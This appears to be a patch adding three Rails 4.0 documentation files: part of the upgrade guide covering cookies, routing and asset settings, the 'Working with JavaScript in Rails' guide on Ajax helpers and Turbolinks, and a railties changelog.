+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
+
+```ruby
+# Disable root element in JSON by default.
+# ActiveSupport.on_load(:active_record) do
+# self.include_root_in_json = false
+# end
+```
+
+### Action Pack
+
+* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+ # config/initializers/secret_token.rb
+ Myapp::Application.config.secret_token = 'existing secret token'
+ Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise [...]
+
+If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+
+* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
+
+As described above, existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+ # config/initializers/secret_token.rb
+ Myapp::Application.config.secret_token = 'existing secret token'
+ Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+The same caveats apply here, too. You should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. You should also take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or Javascript before upgrading.
+
+Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
+
+* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
+
+* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.
+
+* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_pages` in your controllers.
+
+* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.
+
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+
+* Rails 4.0 deprecates the `dom_id` and `dom_class` methods. You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+
+* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+
+* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
+
+```ruby
+ get 'one' => 'test#example', as: :example
+ get 'two' => 'test#example', as: :example
+```
+
+```ruby
+ resources :examples
+ get 'clashing/:id' => 'test#example', as: :example
+```
+
+In the first case, you can simply avoid using the same name for multiple
+routes. In the second, you can use the `only` or `except` options provided by
+the `resources` method to restrict the routes created as detailed in the
+[Routing Guide](routing.html#restricting-the-routes-created).
+
+* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
+
+```ruby
+get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
+```
+
+becomes
+
+```ruby
+get 'こんにちは', controller: 'welcome', action: 'index'
+```
+
+* Rails 4.0 requires that routes using `match` must specify the request method. For example:
+
+```ruby
+ # Rails 3.x
+ match "/" => "root#index"
+
+ # becomes
+ match "/" => "root#index", via: :get
+
+ # or
+ get "/" => "root#index"
+```
+
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+
+Remember you must also remove any references to the middleware from your application code, for example:
+
+```ruby
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+```
+
+Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+
+* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
+
+* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.
+
+* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.
+
+* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.
+* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.
+* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.
+* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
+
+### Active Support
+
+Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+
+### Helpers Loading Order
+
+The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods [...]
+
+### Active Record Observer and Action Controller Sweeper
+
+Active Record Observer and Action Controller Sweeper have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+
+### sprockets-rails
+
+* `assets:precompile:primary` has been removed. Use `assets:precompile` instead.
+
+### sass-rails
+
+* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`
+
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+
+The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.2.12'
+
+group :assets do
+ gem 'sass-rails', '~> 3.2.3'
+ gem 'coffee-rails', '~> 3.2.1'
+ gem 'uglifier', '>= 1.0.3'
+end
+```
+
+### config/environments/development.rb
+
+There are a couple of new configuration settings that you should add to your development environment:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+```
+
+### config/environments/test.rb
+
+The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+```
+
+### vendor/plugins
+
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
+
+The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.11'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+ gem 'sass-rails', "~> 3.1.5"
+ gem 'coffee-rails', "~> 3.1.1"
+ gem 'uglifier', ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+### config/application.rb
+
+The asset pipeline requires the following additions:
+
+```ruby
+config.assets.enabled = true
+config.assets.version = '1.0'
+```
+
+If your application is using an "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+```ruby
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+```
+
+### config/environments/development.rb
+
+Remove the RJS setting `config.action_view.debug_rjs = true`.
+
+Add these settings if you enable the asset pipeline:
+
+```ruby
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+```
+
+### config/environments/production.rb
+
+Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide.
+
+```ruby
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+```
+
+### config/environments/test.rb
+
+You can help test performance with these additions to your test environment:
+
+```ruby
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+```
+
+### config/initializers/wrap_parameters.rb
+
+Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+```ruby
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters format: [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+ self.include_root_in_json = false
+end
+```
+
+### config/initializers/session_store.rb
+
+You need to change your session key to something new, or remove all sessions:
+
+```ruby
+# in config/initializers/session_store.rb
+AppName::Application.config.session_store :cookie_store, key: 'SOMETHINGNEW'
+```
+
+or
+
+```bash
+$ rake db:sessions:clear
+```
+
+### Remove :cache and :concat options in asset helpers references in views
+
+* With the Asset Pipeline the :cache and :concat options aren't used anymore, delete these options from your views.

+Working with JavaScript in Rails
+================================
+
+This guide covers the built-in Ajax/JavaScript functionality of Rails (and
+more); it will enable you to create rich and dynamic Ajax applications with
+ease!
+
+After reading this guide, you will know:
+
+* The basics of Ajax.
+* Unobtrusive JavaScript.
+* How Rails' built-in helpers assist you.
+* How to handle Ajax on the server side.
+* The Turbolinks gem.
+
+-------------------------------------------------------------------------------
+
+An Introduction to Ajax
+------------------------
+
+In order to understand Ajax, you must first understand what a web browser does
+normally.
+
+When you type `http://localhost:3000` into your browser's address bar and hit
+'Go,' the browser (your 'client') makes a request to the server. It parses the
+response, then fetches all associated assets, like JavaScript files,
+stylesheets and images. It then assembles the page. If you click a link, it
+does the same process: fetch the page, fetch the assets, put it all together,
+show you the results. This is called the 'request response cycle.'
+
+JavaScript can also make requests to the server, and parse the response. It
+also has the ability to update information on the page. Combining these two
+powers, a JavaScript writer can make a web page that can update just parts of
+itself, without needing to get the full page data from the server. This is a
+powerful technique that we call Ajax.
+
+Rails ships with CoffeeScript by default, and so the rest of the examples
+in this guide will be in CoffeeScript. All of these lessons, of course, apply
+to vanilla JavaScript as well.
+
+As an example, here's some CoffeeScript code that makes an Ajax request using
+the jQuery library:
+
+```coffeescript
+$.ajax(url: "/test").done (html) ->
+ $("#results").append html
+```
+
+This code fetches data from "/test", and then appends the result to the `div`
+with an id of `results`.
+
+Rails provides quite a bit of built-in support for building web pages with this
+technique. You rarely have to write this code yourself. The rest of this guide
+will show you how Rails can help you write websites in this way, but it's
+all built on top of this fairly simple technique.
+
+Unobtrusive JavaScript
+-------------------------------------
+
+Rails uses a technique called "Unobtrusive JavaScript" to handle attaching
+JavaScript to the DOM. This is generally considered to be a best-practice
+within the frontend community, but you may occasionally read tutorials that
+demonstrate other ways.
+
+Here's the simplest way to write JavaScript. You may see it referred to as
+'inline JavaScript':
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#990000'">Paint it red</a>
+```
+When clicked, the link background will become red. Here's the problem: what
+happens when we have lots of JavaScript we want to execute on a click?
+
+```html
+<a href="#" onclick="this.style.backgroundColor='#009900';this.style.color='#FFFFFF';">Paint it green</a>
+```
+
+Awkward, right? We could pull the function definition out of the click handler,
+and turn it into CoffeeScript:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
+```
+
+And then on our page:
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+```
+
+That's a little bit better, but what about multiple links that have the same
+effect?
+
+```html
+<a href="#" onclick="paintIt(this, '#990000')">Paint it red</a>
+<a href="#" onclick="paintIt(this, '#009900', '#FFFFFF')">Paint it green</a>
+<a href="#" onclick="paintIt(this, '#000099', '#FFFFFF')">Paint it blue</a>
+```
+
+Not very DRY, eh? We can fix this by using events instead. We'll add a `data-*`
+attribute to our link, and then bind a handler to the click event of every link
+that has that attribute:
+
+```coffeescript
+paintIt = (element, backgroundColor, textColor) ->
+ element.style.backgroundColor = backgroundColor
+ if textColor?
+ element.style.color = textColor
+
+$ ->
+ $("a[data-background-color]").click ->
+ backgroundColor = $(this).data("background-color")
+ textColor = $(this).data("text-color")
+ paintIt(this, backgroundColor, textColor)
+```
+```html
+<a href="#" data-background-color="#990000">Paint it red</a>
+<a href="#" data-background-color="#009900" data-text-color="#FFFFFF">Paint it green</a>
+<a href="#" data-background-color="#000099" data-text-color="#FFFFFF">Paint it blue</a>
+```
+
+We call this 'unobtrusive' JavaScript because we're no longer mixing our
+JavaScript into our HTML. We've properly separated our concerns, making future
+change easy. We can easily add behavior to any link by adding the data
+attribute. We can run all of our JavaScript through a minimizer and
+concatenator. We can serve our entire JavaScript bundle on every page, which
+means that it'll get downloaded on the first page load and then be cached on
+every page after that. Lots of little benefits really add up.
+
+The Rails team strongly encourages you to write your CoffeeScript (and
+JavaScript) in this style, and you can expect that many libraries will also
+follow this pattern.
+
+Built-in Helpers
+----------------------
+
+Rails provides a bunch of view helper methods written in Ruby to assist you
+in generating HTML. Sometimes, you want to add a little Ajax to those elements,
+and Rails has got your back in those cases.
+
+Because of Unobtrusive JavaScript, the Rails "Ajax helpers" are actually in two
+parts: the JavaScript half and the Ruby half.
+
+[rails.js](https://github.com/rails/jquery-ujs/blob/master/src/rails.js)
+provides the JavaScript half, and the regular Ruby view helpers add appropriate
+tags to your DOM. The CoffeeScript in rails.js then listens for these
+attributes, and attaches appropriate handlers.
+
+### form_for
+
+[`form_for`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormHelper.html#method-i-form_for)
+is a helper that assists with writing forms. `form_for` takes a `:remote`
+option. It works like this:
+
+```erb
+<%= form_for(@post, remote: true) do |f| %>
+ ...
+<% end %>
+```
+
+This will generate the following HTML:
+
+```html
+<form accept-charset="UTF-8" action="/posts" class="new_post" data-remote="true" id="new_post" method="post">
+ ...
+</form>
+```
+
+Note the `data-remote='true'`. Now, the form will be submitted by Ajax rather
+than by the browser's normal submit mechanism.
+
+You probably don't want to just sit there with a filled out `<form>`, though.
+You probably want to do something upon a successful submission. To do that,
+bind to the `ajax:success` event. On failure, use `ajax:error`. Check it out:
+
+```coffeescript
+$(document).ready ->
+ $("#new_post").on("ajax:success", (e, data, status, xhr) ->
+ $("#new_post").append xhr.responseText
+ ).bind "ajax:error", (e, xhr, status, error) ->
+ $("#new_post").append "<p>ERROR</p>"
+```
+
+Obviously, you'll want to be a bit more sophisticated than that, but it's a
+start.
+
+### form_tag
+
+[`form_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-form_tag)
+is very similar to `form_for`. It has a `:remote` option that you can use like
+this:
+
+```erb
+<%= form_tag('/posts', remote: true) %>
+```
+
+Everything else is the same as `form_for`. See its documentation for full
+details.
+
+### link_to
+
+[`link_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to)
+is a helper that assists with generating links. It has a `:remote` option you
+can use like this:
+
+```erb
+<%= link_to "a post", @post, remote: true %>
+```
+
+which generates
+
+```html
+<a href="/posts/1" data-remote="true">a post</a>
+```
+
+You can bind to the same Ajax events as `form_for`. Here's an example. Let's
+assume that we have a list of posts that can be deleted with just one
+click. We would generate some HTML like this:
+
+```erb
+<%= link_to "Delete post", @post, remote: true, method: :delete %>
+```
+
+and write some CoffeeScript like this:
+
+```coffeescript
+$ ->
+ $("a[data-remote]").on "ajax:success", (e, data, status, xhr) ->
+ alert "The post was deleted."
+```
+
+### button_to
+
+[`button_to`](http://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-button_to) is a helper that helps you create buttons. It has a `:remote` option that you can call like this:
+
+```erb
+<%= button_to "A post", @post, remote: true %>
+```
+
+this generates
+
+```html
+<form action="/posts/1" class="button_to" data-remote="true" method="post">
+ <div><input type="submit" value="A post"></div>
+</form>
+```
+
+Since it's just a `<form>`, all of the information on `form_for` also applies.
+
+Server-Side Concerns
+--------------------
+
+Ajax isn't just client-side, you also need to do some work on the server
+side to support it. Often, people like their Ajax requests to return JSON
+rather than HTML. Let's discuss what it takes to make that happen.
+
+### A Simple Example
+
+Imagine you have a series of users that you would like to display and provide a
+form on that same page to create a new user. The index action of your
+controller looks like this:
+
+```ruby
+class UsersController < ApplicationController
+ def index
+ @users = User.all
+ @user = User.new
+ end
+ # ...
+```
+
+The index view (`app/views/users/index.html.erb`) contains:
+
+```erb
+<b>Users</b>
+
+<ul id="users">
+<% @users.each do |user| %>
+ <%= render user %>
+<% end %>
+</ul>
+
+<br>
+
+<%= form_for(@user, remote: true) do |f| %>
+ <%= f.label :name %><br>
+ <%= f.text_field :name %>
+ <%= f.submit %>
+<% end %>
+```
+
+The `app/views/users/_user.html.erb` partial contains the following:
+
+```erb
+<li><%= user.name %></li>
+```
+
+The top portion of the index page displays the users. The bottom portion
+provides a form to create a new user.
+
+The bottom form will call the create action on the Users controller. Because
+the form's remote option is set to true, the request will be posted to the
+users controller as an Ajax request, looking for JavaScript. In order to
+service that request, the create action of your controller would look like
+this:
+
+```ruby
+ # app/controllers/users_controller.rb
+ # ......
+ def create
+ @user = User.new(params[:user])
+
+ respond_to do |format|
+ if @user.save
+ format.html { redirect_to @user, notice: 'User was successfully created.' }
+ format.js {}
+ format.json { render json: @user, status: :created, location: @user }
+ else
+ format.html { render action: "new" }
+ format.json { render json: @user.errors, status: :unprocessable_entity }
+ end
+ end
+ end
+```
+
+Notice the format.js in the `respond_to` block; that allows the controller to
+respond to your Ajax request. You then have a corresponding
+`app/views/users/create.js.erb` view file that generates the actual JavaScript
+code that will be sent and executed on the client side.
+
+```erb
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+```
+
+Turbolinks
+----------
+
+Rails 4 ships with the [Turbolinks gem](https://github.com/rails/turbolinks).
+This gem uses Ajax to speed up page rendering in most applications.
+
+### How Turbolinks Works
+
+Turbolinks attaches a click handler to all `<a>` on the page. If your browser
+supports
+[PushState](https://developer.mozilla.org/en-US/docs/DOM/Manipulating_the_browser_history#The_pushState(\).C2.A0method),
+Turbolinks will make an Ajax request for the page, parse the response, and
+replace the entire `<body>` of the page with the `<body>` of the response. It
+will then use PushState to change the URL to the correct one, preserving
+refresh semantics and giving you pretty URLs.
+
+The only thing you have to do to enable Turbolinks is have it in your Gemfile,
+and put `//= require turbolinks` in your CoffeeScript manifest, which is usually
+`app/assets/javascripts/application.js`.
+
+If you want to disable Turbolinks for certain links, add a `data-no-turbolink`
+attribute to the tag:
+
+```html
+<a href="..." data-no-turbolink>No turbolinks here</a>.
+```
+
+### Page Change Events
+
+When writing CoffeeScript, you'll often want to do some sort of processing upon
+page load. With jQuery, you'd write something like this:
+
+```coffeescript
+$(document).ready ->
+ alert "page has loaded!"
+```
+
+However, because Turbolinks overrides the normal page loading process, the
+event that this relies on will not be fired. If you have code that looks like
+this, you must change your code to do this instead:
+
+```coffeescript
+$(document).on "page:change", ->
+ alert "page has loaded!"
+```
+
+For more details, including other events you can bind to, check out [the
+Turbolinks
+README](https://github.com/rails/turbolinks/blob/master/README.md).

+## Rails 4.0.0 (unreleased) ##
+
+* Move rails.png into a data-uri. One less file to get generated into a new
+ application. This is also consistent with the removal of index.html.
+
+ *Steve Klabnik*
+
+* The application rake task `doc:rails` generates now an API like the
+ official one (except for the links to GitHub).
+
+ *Xavier Noria*
+
+* Allow vanilla apps to render CoffeeScript templates in production
+
+ Vanilla apps already render CoffeeScript templates in development and test
+ environments. With this change, the production behavior matches that of
+ the other environments.
+
+ Effectively, this meant moving coffee-rails (and the JavaScript runtime on
+ which it is dependent) from the :assets group to the top-level of the
+ generated Gemfile.
+
+ *Gabe Kopley*
+
+* Don't generate a scaffold.css when --no-assets is specified
+
+ *Kevin Glowacz*
+
+* Add support for generate scaffold password:digest
+
+ * adds password_digest attribute to the migration
+ * adds has_secure_password to the model
+ * adds password and password_confirmation password_fields to _form.html
+ * omits password from index.html and show.html
+ * adds password and password_confirmation to the controller
+ * adds unencrypted password and password_confirmation to the controller test
+ * adds encrypted password_digest to the fixture
+
+ *Sam Ruby*
+
+* Improved `rake test` command for running tests
+
+ To run all tests:
+
+ $ rake test
+
+ To run a test suite
+
+ $ rake test:[models,helpers,units,controllers,mailers,...]
+
+ To run a selected test file(s):
+
+ $ rake test test/unit/foo_test.rb [test/unit/bar_test.rb ...]
+
+ To run a single test from a test file
+
+ $ rake test test/unit/foo_test.rb TESTOPTS='-n test_the_truth'
+
+* Improve service pages with new layout (404, etc).
+
+ *Stanislav Sobolev*
+
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Improve `rake stats` for JavaScript and CoffeeScript: ignore block comments
+ and calculates number of functions.
+
+ *Hendy Tanata*
+
+* Ability to use a custom builder by passing `--builder` (or `-b`) has been removed.
+ Consider using application template instead. See this guide for more detail:
+ http://guides.rubyonrails.org/rails_application_templates.html
+
+ *Prem Sichanugrist*
+
+* Fix `rake db:*` tasks to work with `DATABASE_URL` and without `config/database.yml`.
+
+ *Terence Lee*
+
+* Add notice message for destroy action in scaffold generator.
+
+ *Rahul P. Chaudhari*
+
+* Add two new test rake tasks to speed up full test runs.
+
+ * `test:all`: run tests quickly by merging all types and not resetting db.
+ * `test:all:db`: run tests quickly, but also reset db.
+
+ *Ryan Davis*
+
+* Add `--rc` option to support the load of a custom rc file during the generation of a new app.
+
+ *Amparo Luna*
+
+* Add `--no-rc` option to skip the loading of railsrc file during the generation of a new app.
+
+ *Amparo Luna*
+
+* Fixes database.yml when creating a new rails application with '.'
+ Fixes #8304.
+
+ *Jeremy W. Rowe*
+
+* Restore Rails::Engine::Railties#engines with deprecation to ensure
+ compatibility with gems such as Thinking Sphinx
+ Fixes #8551.
+
+ *Tim Raymond*
+
+* Specify which logs to clear when using the `rake log:clear` task.
+ (e.g. rake log:clear LOGS=test,staging)
+
+ *Matt Bridges*
+
+* Allow a `:dirs` key in the `SourceAnnotationExtractor.enumerate` options
+ to explicitly set the directories to be traversed so it's easier to define
+ custom rake tasks.
+
+ *Brian D. Burns*
+
+* Deprecate `Rails::Generators::ActiveModel#update_attributes` in favor of `#update`.
+
+ ORMs that implement `Generators::ActiveModel#update_attributes` should change
+ to `#update`. Scaffold controller generators should change calls like:
+
+ @orm_instance.update_attributes(...)
+
+ to:
+
+ @orm_instance.update(...)
+
+ This goes along with the addition of `ActiveRecord::Base#update`.
+
+ *Carlos Antonio da Silva*
+
+* Include `jbuilder` by default and rely on its scaffold generator to show json API.
+ Check https://github.com/rails/jbuilder for more info and examples.
+
+ *DHH*
+
+* Scaffold now generates HTML-only controller by default.
+
+ *DHH + Pavel Pravosud*
+
+* The generated `README.rdoc` for new applications invites the user to
+ document the necessary steps to get the application up and running.
+
+ *Xavier Noria*
+
+* Generated applications no longer get `doc/README_FOR_APP`. In consequence,
+ the `doc` directory is created on demand by documentation tasks rather than
+ generated by default.
+
+ *Xavier Noria*
+
+* App executables now live in the `bin/` directory: `bin/bundle`,
+ `bin/rails`, `bin/rake`. Run `rake rails:update:bin` to add these
+ executables to your own app. `script/rails` is gone from new apps.
+
+ Running executables within your app ensures they use your app's Ruby
+ version and its bundled gems, and it ensures your production deployment
+ tools only need to execute a single script. No more having to carefully
+ `cd` to the app dir and run `bundle exec ...`.
+
+ Rather than treating `bin/` as a junk drawer for generated "binstubs",
+ bundler 1.3 adds support for generating stubs for just the executables
+ you actually use: `bundle binstubs unicorn` generates `bin/unicorn`.
+ Add that executable to git and version it just like any other app code.
+
+ *Jeremy Kemper*
+
+* `config.assets.enabled` is now true by default. If you're upgrading from a Rails 3.x app
+ that does not use the asset pipeline, you'll be required to add `config.assets.enabled = false`
+ to your application.rb. If you don't want the asset pipeline on a new app use `--skip-sprockets`
+
+ *DHH*
+
+* Environment name can be a start substring of the default environment names
+ (production, development, test). For example: tes, pro, prod, dev, devel.
+ Fixes #8628.
+
+ *Mykola Kyryk*
+
+* Add `-B` alias for `--skip-bundle` option in the rails new generators.
+
+ *Jiri Pospisil*
+
+* Quote column names in generates fixture files. This prevents
+ conflicts with reserved YAML keywords such as 'yes' and 'no'
+ Fixes #8612.
+
+ *Yves Senn*
+
+* Explicit options have precedence over `~/.railsrc` on the `rails new` command.
+
+ *Rafael Mendonça França*
+
+* Generated migrations now always use the `change` method.
+
+ *Marc-André Lafortune*
+
+* Add `app/models/concerns` and `app/controllers/concerns` to the default directory structure and load path.
+ See http://37signals.com/svn/posts/3372-put-chubby-models-on-a-diet-with-concerns for usage instructions.
+
+ *DHH*
+
+* The `rails/info/routes` now correctly formats routing output as an html table.
+
+ *Richard Schneeman*
+
+* The `public/index.html` is no longer generated for new projects.
+ Page is replaced by internal `welcome_controller` inside of railties.
+
+ *Richard Schneeman*
+
+* Add `ENV['RACK_ENV']` support to `rails runner/console/server`.
+
+ *kennyj*
+
+* Add `db` to list of folders included by `rake notes` and `rake notes:custom`. *Antonio Cangiano*
+
+* Engines with a dummy app include the rake tasks of dependencies in the app namespace.
+ Fixes #8229.
+
+ *Yves Senn*
+
+* Add `sqlserver.yml` template file to satisfy `-d sqlserver` being passed to `rails new`.
+ Fixes #6882.
+
+ *Robert Nesius*
+
+* Rake test:uncommitted finds git directory in ancestors *Nicolas Despres*
+
+* Add dummy app Rake tasks when `--skip-test-unit` and `--dummy-path` is passed to the plugin generator.
+ Fixes #8121.
+
+ *Yves Senn*
+
+* Add `.rake` to list of file extensions included by `rake notes` and `rake notes:custom`. *Brent J. Nordquist*
+
+* New test locations `test/models`, `test/helpers`, `test/controllers`, and
+ `test/mailers`. Corresponding rake tasks added as well. *Mike Moore*
+
+* Set a different cache per environment for assets pipeline
+ through `config.assets.cache`.
+
+ *Guillermo Iguaran*
+
+* `Rails.public_path` now returns a Pathname object. *Prem Sichanugrist*
+
+* Remove highly uncommon `config.assets.manifest` option for moving the manifest path.
+ This option is now unsupported in sprockets-rails.
+
+ *Guillermo Iguaran & Dmitry Vorotilin*
+
+* Add `config.action_controller.permit_all_parameters` to disable
+ StrongParameters protection, it's false by default.
+
+ *Guillermo Iguaran*
+
+* Remove `config.active_record.whitelist_attributes` and
+ `config.active_record.mass_assignment_sanitizer` from new applications since
+ MassAssignmentSecurity has been extracted from Rails.
+
+ *Guillermo Iguaran*
+
+* Change `rails new` and `rails plugin new` generators to name the `.gitkeep` files
+ as `.keep` in a more SCM-agnostic way.
+
+ Change `--skip-git` option to only skip the `.gitignore` file and still generate
+ the `.keep` files.
+
+ Add `--skip-keeps` option to skip the `.keep` files.
+
+ *Derek Prior & Francesco Rodriguez*
+
+* Fixed support for `DATABASE_URL` environment variable for rake db tasks.
+
+ *Grace Liu*
+
+* `rails dbconsole` now can use SSL for MySQL. The `database.yml` options sslca, sslcert, sslcapath, sslcipher
+ and sslkey now affect `rails dbconsole`.
+
+ *Jim Kingdon and Lars Petrus*
+
+* Correctly handle SCRIPT_NAME when generating routes to engine in application
+ that's mounted at a sub-uri. With this behavior, you *should not* use
+ `default_url_options[:script_name]` to set proper application's mount point by
+ yourself.
+
+ *Piotr Sarnacki*
+
+* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded .
+
+ *José Valim*
+
+* The migration generator will now produce AddXXXToYYY/RemoveXXXFromYYY migrations with references statements, for instance
+
+ rails g migration AddReferencesToProducts user:references supplier:references{polymorphic}
+
+ will generate the migration with:
+
+ add_reference :products, :user, index: true
+ add_reference :products, :supplier, polymorphic: true, index: true
